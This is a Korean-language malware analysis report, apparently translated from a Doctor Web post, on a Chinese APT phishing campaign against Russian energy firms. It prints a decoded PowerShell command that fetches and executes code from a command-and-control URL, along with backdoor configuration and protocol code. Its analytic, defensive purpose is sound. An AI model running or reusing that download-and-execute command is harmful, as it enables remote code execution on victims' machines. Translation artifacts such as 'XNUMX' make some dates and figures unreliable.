우리는 러시아 연료 및 에너지 단지에 대한 표적 스파이 공격을 조사하고 있습니다.

컴퓨터 보안 사고를 조사한 경험에 따르면 이메일은 공격자가 처음에 공격받은 네트워크 인프라에 침투하기 위해 사용하는 가장 일반적인 채널 중 하나입니다. 의심스러운(또는 그다지 의심스럽지 않은) 편지에 대한 부주의한 행동은 추가 감염의 진입점이 됩니다. 이것이 성공의 정도는 다르지만 사이버 범죄자들이 사회 공학적 방법을 적극적으로 사용하는 이유입니다.

이 게시물에서 우리는 러시아 연료 및 에너지 단지의 여러 기업을 대상으로 한 스팸 캠페인에 대한 최근 조사에 대해 이야기하고 싶습니다. 모든 공격은 가짜 이메일을 사용하여 동일한 시나리오를 따랐으며, 누구도 이러한 이메일의 텍스트 내용에 많은 노력을 기울이지 않은 것 같습니다.

탐험

모든 것은 2020년 XNUMX월 말에 시작되었습니다. Doctor Web 바이러스 분석가는 해커가 러시아 연료 및 에너지 단지에 있는 여러 기업의 직원에게 업데이트된 전화번호부를 보내는 스팸 캠페인을 발견했습니다. 물론 이것은 디렉토리가 실제가 아니고 .docx 문서가 원격 리소스에서 두 개의 이미지를 다운로드했기 때문에 단순한 우려 표시는 아닙니다.

그 중 하나는 news[.]zannews[.]com 서버에서 사용자의 컴퓨터로 다운로드되었습니다. 주목할 점은 도메인 이름이 카자흐스탄의 반부패 미디어 센터인 zannews[.]kz의 도메인과 유사하다는 점입니다. 반면에 사용된 도메인은 ICEFOG 백도어를 사용하고 이름에 하위 문자열 "news"가 포함된 트로이 목마 제어 도메인이 있었던 TOPNEWS라는 또 다른 2015년 캠페인을 즉시 연상시켰습니다. 또 다른 흥미로운 기능은 이메일을 다른 수신자에게 보낼 때 이미지 다운로드 요청이 다른 요청 매개변수나 고유한 이미지 이름을 사용한다는 것입니다.

우리는 이것이 "신뢰할 수 있는" 수취인을 식별하기 위한 정보를 수집하기 위한 목적으로 이루어졌다고 믿습니다. 그러면 그 수취인은 적시에 편지를 개봉할 수 있을 것입니다. SMB 프로토콜은 두 번째 서버에서 이미지를 다운로드하는 데 사용되었으며, 이는 수신된 문서를 연 직원의 컴퓨터에서 NetNTLM 해시를 수집하기 위해 수행될 수 있습니다.

그리고 가짜 디렉토리가 포함된 편지 자체는 다음과 같습니다.

올해 2019월부터 해커들은 sports[.]manhajnews[.]com이라는 새로운 도메인 이름을 사용하여 이미지를 업로드하기 시작했습니다. 분석 결과, manhajnews[.]com 하위 도메인은 적어도 XNUMX년 XNUMX월부터 스팸 메일링에 사용된 것으로 나타났습니다. 이 캠페인의 목표 중 하나는 러시아의 대규모 대학이었습니다.

또한 XNUMX월까지 공격 조직자들은 편지에 대한 새로운 텍스트를 작성했습니다. 이번에는 문서에 산업 발전에 대한 정보가 포함되어 있었습니다. 편지의 내용은 그 저자가 러시아어를 모국어로 사용하는 사람이 아니거나 의도적으로 자신에 대해 그러한 인상을 만들고 있음을 분명히 나타냅니다. 불행하게도 산업 발전에 대한 아이디어는 늘 그렇듯 단지 표지일 뿐이었습니다. 문서는 다시 두 개의 이미지를 다운로드했고 서버는 download[.]inklingpaper[.]com으로 변경되었습니다.

다음 혁신은 XNUMX월에 이어졌습니다. 공격자들은 바이러스 백신 프로그램의 악성 문서 탐지를 우회하기 위해 비밀번호로 암호화된 Microsoft Word 문서를 사용하기 시작했습니다. 동시에 공격자는 고전적인 사회 공학 기술인 보상 알림을 사용하기로 결정했습니다.

항소문은 다시 같은 스타일로 작성되어 수취인 사이에 추가적인 의혹을 불러 일으켰습니다. 이미지를 다운로드하는 서버도 변경되지 않았습니다.

모든 경우에 mail[.]ru 및 yandex[.]ru 도메인에 등록된 전자 우편함을 사용하여 편지를 보냈습니다.

공격

2020년 XNUMX월 초, 이제 조치를 취할 시간이 되었습니다. 우리의 바이러스 분석가들은 공격자들이 전화번호부를 업데이트한다는 구실로 다시 편지를 보내는 새로운 공격의 물결을 기록했습니다. 그러나 이번에는 첨부 파일에 악성 매크로가 포함되어 있었습니다.

첨부된 문서를 열 때 매크로는 두 개의 파일을 생성했습니다.

• 배치 파일을 실행하기 위한 VBS 스크립트 %APPDATA%microsoftwindows시작 메뉴programsstartupadoba.vbs
• 난독화된 배치 파일 자체 %APPDATA%configstest.bat.

작업의 본질은 특정 매개변수를 사용하여 Powershell 셸을 시작하는 것입니다. 셸에 전달된 매개변수는 명령으로 디코딩됩니다.

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

제시된 명령에 따르면 페이로드가 다운로드되는 도메인이 다시 뉴스 사이트로 위장됩니다. 간단한 짐을 싣는 사람, 그의 유일한 임무는 명령 및 제어 서버로부터 쉘 코드를 수신하고 실행하는 것입니다. 피해자 PC에 설치 가능한 백도어 유형은 XNUMX가지로 확인됐다.

백도어.Siggen2.3238

첫 번째는 백도어.Siggen2.3238 — 우리 전문가들은 이전에 접한 적이 없었고 다른 바이러스 백신 공급업체에서도 이 프로그램에 대해 언급하지 않았습니다.

이 프로그램은 C++로 작성되었으며 32비트 Windows 운영 체제에서 실행되는 백도어입니다.

백도어.Siggen2.3238 HTTP와 HTTPS라는 두 가지 프로토콜을 사용하여 관리 서버와 통신할 수 있습니다. 테스트된 샘플은 HTTPS 프로토콜을 사용합니다. 다음 사용자 에이전트는 서버에 대한 요청에 사용됩니다.

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

이 경우 모든 요청에는 다음 매개변수 세트가 제공됩니다.

%s;type=%s;length=%s;realdata=%send

여기서 각 줄 %s은(는) 다음으로 대체됩니다.

• 감염된 컴퓨터의 ID,
• 전송되는 요청 유형,
• 실제 데이터 필드의 데이터 길이,
• 데이터.

백도어는 감염된 시스템에 대한 정보를 수집하는 단계에서 다음과 같은 라인을 생성합니다.

lan=%s;cmpname=%s;username=%s;version=%s;

여기서 lan은 감염된 컴퓨터의 IP 주소, cmpname은 컴퓨터 이름, username은 사용자 이름, version은 0.0.4.03 행입니다.

sysinfo 식별자가 포함된 이 정보는 POST 요청을 통해 https[:]//31.214[.]157.14/log.txt에 있는 제어 서버로 전송됩니다. 응답하는 경우 백도어.Siggen2.3238 HEART 신호를 수신하면 연결이 성공한 것으로 간주되며 백도어는 서버와의 주요 통신 주기를 시작합니다.

작동 원리에 대한 더 자세한 설명 백도어.Siggen2.3238 우리의 바이러스 라이브러리.

백도어.화이트버드.23

두 번째 프로그램은 카자흐스탄 정부 기관 사건을 통해 이미 알려진 BackDoor.Whitebird 백도어의 변형입니다. 이 버전은 C++로 작성되었으며 32비트 및 64비트 Windows 운영 체제에서 모두 실행되도록 설계되었습니다.

이 유형의 대부분의 프로그램과 마찬가지로 백도어.화이트버드.23 제어 서버와 암호화된 연결을 설정하고 감염된 컴퓨터를 무단으로 제어하도록 설계되었습니다. 드로퍼를 사용하여 손상된 시스템에 설치됨 백도어.Siggen2.3244.

우리가 조사한 샘플은 두 가지 내보내기가 포함된 악성 라이브러리였습니다.

• 구글 플레이
• 테스트합니다.

작업 시작 시 바이트 0x99의 XOR 연산 기반 알고리즘을 사용하여 백도어 본문에 내장된 구성을 해독합니다. 구성은 다음과 같습니다.

struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

지속적인 작동을 보장하기 위해 백도어는 필드에 지정된 값을 변경합니다. 근무 시간 구성. 필드에는 1440바이트가 포함되며, 이는 0 또는 1의 값을 가지며 하루 중 각 시간의 분을 나타냅니다. 인터페이스를 수신하고 감염된 컴퓨터의 프록시 서버에서 인증 패킷을 찾는 각 네트워크 인터페이스에 대해 별도의 스레드를 생성합니다. 이러한 패킷이 탐지되면 백도어는 프록시 서버에 대한 정보를 목록에 추가합니다. 또한 WinAPI를 통해 프록시 존재 여부를 확인합니다. InternetQueryOptionW.

프로그램은 현재 분과 시간을 확인하고 이를 필드의 데이터와 비교합니다. 근무 시간 구성. 해당 일자의 분 값이 XNUMX이 아닌 경우 제어 서버와의 연결이 설정됩니다.

서버에 대한 연결 설정은 클라이언트와 서버 간의 TLS 버전 1.0 프로토콜을 사용하여 연결 생성을 시뮬레이션합니다. 백도어의 본문에는 두 개의 버퍼가 포함되어 있습니다.

첫 번째 버퍼에는 TLS 1.0 클라이언트 Hello 패킷이 포함되어 있습니다.

두 번째 버퍼에는 키 길이가 1.0x0바이트인 TLS 100 클라이언트 키 교환 패킷, 암호 사양 변경, 암호화된 핸드셰이크 메시지가 포함되어 있습니다.

백도어는 클라이언트 Hello 패킷을 보낼 때 클라이언트 무작위 필드에 현재 시간 4바이트와 의사 무작위 데이터 28바이트를 기록하며 다음과 같이 계산됩니다.

v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

수신된 패킷은 제어 서버로 전송됩니다. 응답(Server Hello 패킷)은 다음을 확인합니다.

• TLS 프로토콜 버전 1.0 준수;
• 클라이언트가 지정한 타임스탬프(랜덤 데이터 패킷 필드의 처음 4바이트)와 서버가 지정한 타임스탬프의 대응;
• 클라이언트와 서버의 Random Data 필드에 있는 타임스탬프 뒤의 처음 4바이트가 일치합니다.

지정된 일치 항목이 있는 경우 백도어는 클라이언트 키 교환 패킷을 준비합니다. 이를 위해 클라이언트 키 교환 패키지의 공개 키와 암호화된 핸드셰이크 메시지 패키지의 암호화 IV 및 암호화 데이터를 수정합니다.

그런 다음 백도어는 명령 및 제어 서버로부터 패킷을 수신하고 TLS 프로토콜 버전이 1.0인지 확인한 다음 추가 54바이트(패킷 본문)를 허용합니다. 이것으로 연결 설정이 완료됩니다.

작동 원리에 대한 더 자세한 설명 백도어.화이트버드.23 우리의 바이러스 라이브러리.

결론 및 결론

문서, 악성코드, 사용된 인프라 분석을 통해 우리는 해당 공격이 중국 APT 그룹 중 하나에 의해 준비되었음을 확신할 수 있습니다. 공격이 성공할 경우 피해자의 컴퓨터에 설치되는 백도어의 기능을 고려할 때, 감염은 최소한 공격받은 조직의 컴퓨터에서 기밀 정보를 훔치는 것으로 이어집니다.

또한 특수 기능을 갖춘 로컬 서버에 특수 트로이 목마를 설치하는 경우가 발생할 가능성이 매우 높습니다. 이는 도메인 컨트롤러, 메일 서버, 인터넷 게이트웨이 등이 될 수 있습니다. 예제에서 볼 수 있듯이 카자흐스탄에서 발생한 사건, 이러한 서버는 다양한 이유로 공격자가 특히 관심을 갖고 있습니다.

출처 : habr.com